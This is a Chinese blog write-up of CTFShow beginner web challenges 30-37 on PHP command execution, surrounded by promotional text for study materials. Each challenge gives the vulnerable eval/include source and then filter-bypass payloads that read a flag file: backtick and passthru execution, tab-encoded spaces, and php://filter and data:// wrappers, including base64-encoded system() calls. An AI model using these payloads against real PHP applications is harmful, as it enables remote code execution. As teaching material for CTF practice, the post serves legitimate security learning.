CTFShow-WEB入门篇命令执行详细Wp(29-40)_ctfshow-web入门篇详细wp(2)

已于 2024-05-07 21:43:15 修改
阅读量550 收藏 8
点赞数 15
分类专栏： 程序员 文章标签： 前端
于 2024-05-07 21:43:13 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_82056337/article/details/138546933
版权

一、网安学习成长路线图

网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

Web30：

error\_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg\_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

过滤了flag、system、php 其实还可以使用上面的方法换一个命令执行函数即可。

命令执行函数：passthru、shell_exec、exec等 其实这里还可以使用反引号 `

`反引号和shell_exec意思相同在php中称之为执行运算符，PHP 将尝试将反引号中的内容作为 shell 命令来执行，并将其输出信息返回

?c=echo `tac f\*`;
?c=passthru('tac f\*');

在这里插入图片描述
在这里插入图片描述

ctfshow{c2ef0b5a-047d-4242-8567-daea91a6e06b}

Web31：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

这里又过滤了cat sort 和空格 可以使用使用空格绕过(%09) 也可也使用&拼接使用eval函数可以使用POST和GET其实一样的

c=eval($_GET[cmd]);&cmd=system("tac f\*");
?c=echo (`tac%09f\*`);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

ctfshow{e66df5c7-07fb-4e6e-bcbb-46b209308c9d}

web32：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

这里又过滤了反斜杠，echo，分号，括号 这里可以使用include函数可以不用括号 实现文件包含 配合伪协议 分号可以使用>? 代替

PS：我们只需要知道 过滤了参数可以使用代替进行绕过就行了这是做题的思路 还是很好理解的

php://filter/read=convert.base64-encode/resource=flag.php #伪协议
?c=include_GET[cmd]>?&cmd=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

ctfshow{22eca81d-7663-4150-bc72-57825852ad03}

web33：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

过滤 了双引号 这里还是和上面那题一样的Payload就可以没啥新的知识点！

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述
在这里插入图片描述

ctfshow{34945d8a-89fa-48b8-919a-883dc71f740c}

web34：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

这里多了冒号好像，这里也是一样的Payload，但是我们这里用别的伪协议data://进行测试

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>

在这里插入图片描述

在这里插入图片描述

ctfshow{1378052e-d82c-446b-9e8d-5c1249ec1001}

web35：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

过滤了，=号和<括号这里可以使用data的base64 把要执行的命令加密了传进去<?php system("cat flag.php");?>

?c=include%0a$\_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$\_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>
?c=include$\_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
#到这里有三种方法可以使用

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

ctfshow{2529c316-96d3-442b-9642-2135d3cb9904}

web36：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight\_file(\_\_FILE\_\_);
}

这里过滤了数字0-9 还是可以使用上面的PayLoad只要传参的不是数字就行

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>

在这里插入图片描述

ctfshow{ece6bc01-4a5c-4d30-b638-c8e77800d3f5}

web37：

error\_reporting(0);
if(isset($\_GET['c'])){
    $c = $\_GET['c'];
    if(!preg\_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight\_file(\_\_FILE\_\_);
}

这里过滤了flag 有文件包含了 可以使用伪协议

?c=php://filter/read=convert.base64-encode/resource=flag.php #这里过滤了flag不要使用这一条没用 我只是都想测一遍用下面两个
?c=data://text/palin,<?php system("tac f\*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==

在这里插入图片描述
在这里插入图片描述

ctfshow{472ace50-bae6-472b-b9a3-1c9631a2c34d}

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供：

在这里插入图片描述

因篇幅有限，仅展示部分资料

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

2301_82056337
关注
专栏目录
2024年网络安全山东省赛-SMB信息收集解析（中职组）_使用访问工具对服务器服务访问,将服务器中管理员桌面的文本文档里的内容作为 flag
2401_84252281的博客
04-26 1042
任务环境说明：服务器场景：Server1。
ctfshow-web入门-信息搜集wp
m0_53567065的博客
10-31 651
ctfshow-web入门-信息收集wp
CTFShow-WEB入门篇命令执行详细Wp(29-40)
Aluxian_的博客
06-10 2833
【代码】CTFShow-WEB入门篇--命令执行详细Wp。
CTFShow-Web篇详细wp（持续更新中ing）
Aluxian_的博客
04-23 1279
【代码】CTFShow-Web篇详细wp。
CTFShow-Web篇详细wp（持续更新中ing）_ctfshow web wp
2401_84254343的博客
04-26 390
又是这个熟悉的框 老样子尝试万能密码 发现报错！
CTFSHOW web入门——web40
m0_74093152的博客
04-24 575
并且这道题使用到了eval函数（返回传入字符的表达式的结果。即将字符串当成有效的表达式，进行运算、求值并返回结果。构造payload：?过滤了一堆符号，但过滤的括号是中文的括号，所以还是可以正常使用英文括号的。并post参数：b=system(''tac flag.php)可以使用套娃去获得flag.php文件的内容。
ctfshow-WEB入门-Part1-wp
F1rstb100d
09-02 362
ctfshow-WEB入门-Part1-wp
CTFShow-web入门WriteUp（长期更新）
子推的Blog
03-26 639
web21 下载zip文件是后台密码字典，用户名猜测admin，先进行抓包 没有发现我们传输的参数，但是HTTP请求头里面有这样的参数 解码之后发现这是我们传输的参数，所以开始爆破 因为编码前几位是admin:的base64，所以我们只需要把密码所在段设置为变量即可 然后对payload进行base64加密，进行爆破 这里有点需要注意，我们要关闭Payload Encoding，因为我们base64加密结果可能会存在=或者==，payload encoding会将=进行编码 或者写python脚
ctfshow web入门 命令执行前篇(web29-web54)
ccfly1012的博客
08-18 1673
目录 web29 web30 web31 web32 web33 web34-web36 web37 web38 web39 web40 web41 web42 web43 web44 web45 web46 web47 web48 web49 web50 web51 web52 web53 web54 web29 <?php ​ /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 20
ctfshow web入门 文件上传前篇(web151-web160)
ccfly1012的博客
09-17 1110
目录 web151-web152 web153 web154 web155 web156 web157-web159 web160 web161 web151-web152 首先写一个一句哈： <?php @eval($_POST["1"]);?> 然后修改文件后缀为png(题目限制)，上传文件同时进行抓包，然后修改后缀php，然后蚁剑连接，找到flag 拿到flag~~~~ web153 使用.user.ini绕过 .user.ini 摘抄...
ctfshow_WEB_web2 wp
Altering_Ji的博客
04-23 574
ctfshow WEB类题目web2，最简单的SQL注入，writeup
[ctfshow内部赛]web wp
cosmoslin的博客
12-03 7921
签到 F12，有register.php import requests import re url1 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/register.php" url2 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/login.php" flag = '' for i in range(1, 50): payl
Web入门---命令执行
最新发布
s849602863的博客
05-21 1079
ctfshow-Web入门---命令执行
CTFShow-WEB入门-信息收集 WP
PP Jun的博客
08-09 519
文章目录web1web2web3web4web5web6web7web8web9web10web11web12web13web14web15web16web17web18web19web20 web1 直接查看源码 web2 直接在url前加：view-source 或 ctrl+u web3 抓包，查看响应头 web4 1.在url后添加/robots.txt 2.访问/flagishere.txt web5 1.在url后添加/index.phps 结果：下载一个文件 2.将文件后缀改为tx
Ctfshow web-web6 WP
qq_45427131的博客
05-12 442
Ctfshow web-we6 WP 进去看见一个login界面，看上去有点眼熟，好像做过，但是尝试之前做过的方法，回显始终是sql infect error，这样的回显表示输入的值中有非法字符，最后尝试下来是空格被顾虑了，用/**/代替 原来 union select 1,2,3 Web6: union/**/select/**/1,2,3 这样的话，传统艺能手工注入 判断显示位 获取当前连接的数据库 获取数据库中所有表的表名： Select table_name from informatio
ctfshow-web入门-命令执行
qq_43618536的博客
07-08 1239
ctfshow-web入门-命令执行
CTFShow-WEB入门篇--信息搜集详细Wp
Aluxian_的博客
06-02 2673
CTFShow-WEB入门篇--信息搜集详细Wp
CTFshow 命令执行 web40
Kradress的博客
10-30 1726
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c = $_GET['c'];
内置Web Server
banjuan3729的博客
04-11 137
在终端输入命令：php -S localhost:8000 -t xxx（某个目录或文件） 这个内置的Web服务器主要用于本地开发使用，不可用于线上产品环境。 URI请求会被发送到PHP所在的的工作目录（Working Directory）进行处理，除非你使用了-t参数来自定义不同的目录。 如果请求未指定执行哪个PHP文件，则默认执行目录内的index.php 或者 index.h...
ctfshow-__萌新隐写
09-14
根据引用中提到的内容，CTFShow "萌心区"WP详解（上）涉及了一些关于萌新认证的内容，其中包括了密码、隐写和杂项等方面的题目。而引用中提到，下载的文件是一个word文件，里面包含了一张图，并且提示说找到了FLAG。...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值